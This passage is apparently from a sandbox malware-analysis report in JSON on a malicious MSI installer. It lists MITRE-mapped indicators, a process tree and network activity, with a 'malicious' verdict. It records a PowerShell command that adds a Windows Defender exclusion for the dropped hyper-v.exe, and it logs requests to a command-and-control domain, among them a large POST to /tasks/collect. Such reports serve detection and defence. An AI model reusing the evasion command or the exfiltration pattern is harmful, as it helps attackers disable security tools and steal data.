\"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"Win32API|GetSystemMetrics|SM_CLEANBOOT\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; File: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetUserName\" (Indicator: \"GetUserName\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: setup0324_or_1.msi\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: setup0324_or_1.msi","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"setup0324.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"setup0324_or_1.msi\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004680-00000C2A-2385842749\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00006420.00000000.216677.00960000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006420.00000000.216677.00960000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume1\" (Indicator: \"\\Device\\\"; Source: \"00000000-00007480.00000000.216734.003C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00006420.00000000.216677.00960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"setup0324.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\hyper-v.exe\"\" (UID: 00000000-00006420)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"hyper-v.exe\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe]- [targetUID: 00000000-00004680]\n Dropped file: \"hyper-v.ver\" - Location: [%LOCALAPPDATA%\\hyper-v.ver]- [targetUID: 00000000-00004680]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"setup0324.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"systeminfo.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6420)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Environment Awareness","name":"Able to evade execution by checking for blacklisted external IPs","description":"file/memory contains long string with (Indicator: \"64.124.12.162\"; File: \"x3m0.1\")","origin":"File/Memory","mitre_attack_id":"T1590.005","relevance":1,"id":"string-643","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\hyper-v.exe\"\" (UID: 00000000-00006420)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"General","name":"GETs files from a webserver","description":"\"GET /api/client_hello HTTP/1.1\nAccept: */*\nConnection: close\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1\" Response ==> HTTP/1.1 200 OK\nContent-Length: 12\nContent-Type: text/plain; charset=utf-8\nDate: Sat\n 19 Apr 2025 16:34:05 GMT\nServer: nginx/1.18.0 (Ubuntu)\nVary: Origin\nX-Request-Id: 8988690e-cc65-461f-9925-05f18f677d36\nConnection: close with response body ==>7B226F6B223A747275657D0A.......\n \"GET /api/client_hello HTTP/1.1\nAccept: */*\nConnection: close\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1\" Response ==> HTTP/1.1 200 OK\nContent-Length: 12\nContent-Type: text/plain; charset=utf-8\nDate: Sat\n 19 Apr 2025 16:34:42 GMT\nServer: nginx/1.18.0 (Ubuntu)\nVary: Origin\nX-Request-Id: 1528c675-afca-403e-99b0-59fc8849a7cf\nConnection: close with response body ==>7B226F6B223A747275657D0A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"hyper-v.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe]- [targetUID: 00000000-00004680]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"setup0324.exe\" wrote 32768 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\hyper-v.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 92.118.112.155 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"root\\cimv2\" (Indicator: \"root\\cimv2\"; in File: \"00000000-00007480.00000000.216734.00221000.00000020.mdmp\")\n Found string \"root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00007480.00000000.216734.00221000.00000020.mdmp, 00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"systeminfo\" (Indicator: \"systeminfo\"; Source: \"00000000-00007480.00000000.216734.003C0000.00000004.mdmp, 00000000-00007480.00000000.216734.02710000.00000004.mdmp\")\n Found string \"ype \"SYSTEMINFO /?\" for usage.\" (Indicator: \"systeminfo\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to obtain system information using systeminfo","description":"Process \"systeminfo.exe\" with commandline \"\" (UID: 00000000-00007480)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":10,"id":"target-16","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"setup0324.exe\" opens a process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\files\\setup0324.exe\" (UID: 00000000-00004680)\n \"powershell.exe\" opens a process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"suspicious","category":"System Security","name":"Tries to modify exclusion list using Powershell","description":"Process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\hyper-v.exe\"\" (UID: 00000000-00006420)","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":5,"id":"target-320","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"setup0324.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 876)\n \"setup0324.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\systeminfo.exe\" (Handle: 920)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sysoieaosgwoeesa.xyz\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: cpp-httplib/0.12.1","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH\" (UID: 00000000-00005712)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH\" (UID: 00000000-00005712)\n Spawned process \"EXPAND.EXE\" with commandline \"-R files.cab -F:* files\" (UID: 00000000-00007016)\n Spawned process \"setup0324.exe\" with commandline \"/VERYSILENT /VERYSILENT\" (UID: 00000000-00004680)\n Spawned process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\hyper-v.exe\"\" (UID: 00000000-00006420)\n Spawned process \"systeminfo.exe\" (UID: 00000000-00007480)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries process information"},{"detail":"Tries to obtain system information using systeminfo"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}]},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":104,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":2,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["commodity","targetedcrimeware","rat","targeted","cobaltstrike","criminal","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6803d014752ab4b7e300e065","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"setup0324_or_1.msi","analysis_start_time":"2025-04-19T16:32:21+00:00","indicators_count":{"informative":145,"suspicious":28,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"92.118.112.155","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"dns_resolutions":[{"domain":"sysoieaosgwoeesa.xyz","address":"92.118.112.155","ttl":1799,"country":"Russian Federation","registrar_name":"NAMECHEAP INC","registrar_organization":"Privacy service provided by Withheld for Privacy ehf","registrar_name_servers":"dns2.registrar-servers.com","registrar_creation_date":"2025-01-07T16:37:26+00:00","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"http_requests":[{"host":"sysoieaosgwoeesa.xyz:443","host_ip":"92.118.112.155:443","url":"/api/client_hello","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/client_hello HTTP/1.1\nAccept: */*\nConnection: close\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"host":"sysoieaosgwoeesa.xyz:443","host_ip":"92.118.112.155:443","url":"/api/client/new","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/client/new HTTP/1.1\nAccept: */*\nConnection: close\nContent-Length: 28\nContent-Type: application/json\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"host":"sysoieaosgwoeesa.xyz:443","host_ip":"92.118.112.155:443","url":"/tasks/get_worker","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /tasks/get_worker HTTP/1.1\nAccept: */*\nConnection: close\nContent-Length: 68\nContent-Type: application/json\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"host":"sysoieaosgwoeesa.xyz:443","host_ip":"92.118.112.155:443","url":"/tasks/collect","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /tasks/collect HTTP/1.1\nAccept: */*\nConnection: close\nContent-Length: 10192\nContent-Type: application/json\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}],"processes":[{"pid":7684,"ppid":0,"name":"msiexec.exe","command_line":"/i \"C:\\setup0324_or_1.msi\"","sha256":"866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e51","normalized_path":"%WINDIR%\\System32\\msiexec.exe","uid":"00000000-00007684","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAB4ElEQVR4XrWWwdHCIBSEc0s/FJRbWvD8n1JCZrh5+CuwAgvgbgEWgmx08eUFIqDZmR0cguzHA4xd16jT6eS/sZ6vStM0+VZdr1eP7+s5q0SArvur8iEAo/PRJvSFJradfz87HECHo43h1h0L8DH8SICi8CMBisK/AcBgbfQToCTcjI2HkCuVkv2yAnvhTQAYNAzDyvIZAVZXLRNeDZAL/z+fNxWocRJA76+0DtcALdoA7E2owyUAJmr1BgDSJU+FE+AXulwuvu/7/a1AfwpAj6s1wtHGcE6qlQPg83meV+a7vkRfATBodDaMst65MRqrM8Ys1iuHs+egFABnw4Q7PlqbBYAxFhCrkCCEV28BnsVw5xYAQgBAQjAcRhgg9C2AV+FQDoDhaCPAC0JXQa4eIVCqCknlAGT4/X5H1BbCvgFk+O12W1wEQQDn8Hp5tuxn+QFACAnCOQjAcFakGECGQ+iXFbBhpdp6Hq6apx4uBvhUAfTRXF1qHvrnFZDBtDzR3CJYjikG+FSBVLhzOIBhK7Al4VxICLoYYK8C+IxfPxlOAFzD55+QJ4QEKQqH9irAMayC/EEhwHIbFMRyU2oAUhXQAoQMJ4B7XUsJURxeK/5fyAHwZaS/93PJPy8MrQ1+AMo4YS+0bnEUAAAAAElFTkSuQmCC"},{"pid":6284,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e51","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00006284","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAB4ElEQVR4XrWWwdHCIBSEc0s/FJRbWvD8n1JCZrh5+CuwAgvgbgEWgmx08eUFIqDZmR0cguzHA4xd16jT6eS/sZ6vStM0+VZdr1eP7+s5q0SArvur8iEAo/PRJvSFJradfz87HECHo43h1h0L8DH8SICi8CMBisK/AcBgbfQToCTcjI2HkCuVkv2yAnvhTQAYNAzDyvIZAVZXLRNeDZAL/z+fNxWocRJA76+0DtcALdoA7E2owyUAJmr1BgDSJU+FE+AXulwuvu/7/a1AfwpAj6s1wtHGcE6qlQPg83meV+a7vkRfATBodDaMst65MRqrM8Ys1iuHs+egFABnw4Q7PlqbBYAxFhCrkCCEV28BnsVw5xYAQgBAQjAcRhgg9C2AV+FQDoDhaCPAC0JXQa4eIVCqCknlAGT4/X5H1BbCvgFk+O12W1wEQQDn8Hp5tuxn+QFACAnCOQjAcFakGECGQ+iXFbBhpdp6Hq6apx4uBvhUAfTRXF1qHvrnFZDBtDzR3CJYjikG+FSBVLhzOIBhK7Al4VxICLoYYK8C+IxfPxlOAFzD55+QJ4QEKQqH9irAMayC/EEhwHIbFMRyU2oAUhXQAoQMJ4B7XUsJURxeK/5fyAHwZaS/93PJPy8MrQ1+AMo4YS+0bnEUAAAAAElFTkSuQmCC"},{"pid":5224,"ppid":6284,"name":"MsiExec.exe","command_line":"-Embedding 4F2DCE5A80A2193840B9F00648E56D21","sha256":"8761879d9ce47bc68bf3bd8accbcd0165dd20ad05820f4f6439e11aa2afa7b01","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00006284","uid":"00000000-00005224"},{"pid":5712,"ppid":5224,"name":"ICACLS.EXE","command_line":"\"%TEMP%\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\ICACLS.EXE","parent_uid":"00000000-00005224","uid":"00000000-00005712"},{"pid":7016,"ppid":5224,"name":"EXPAND.EXE","command_line":"-R files.cab -F:* 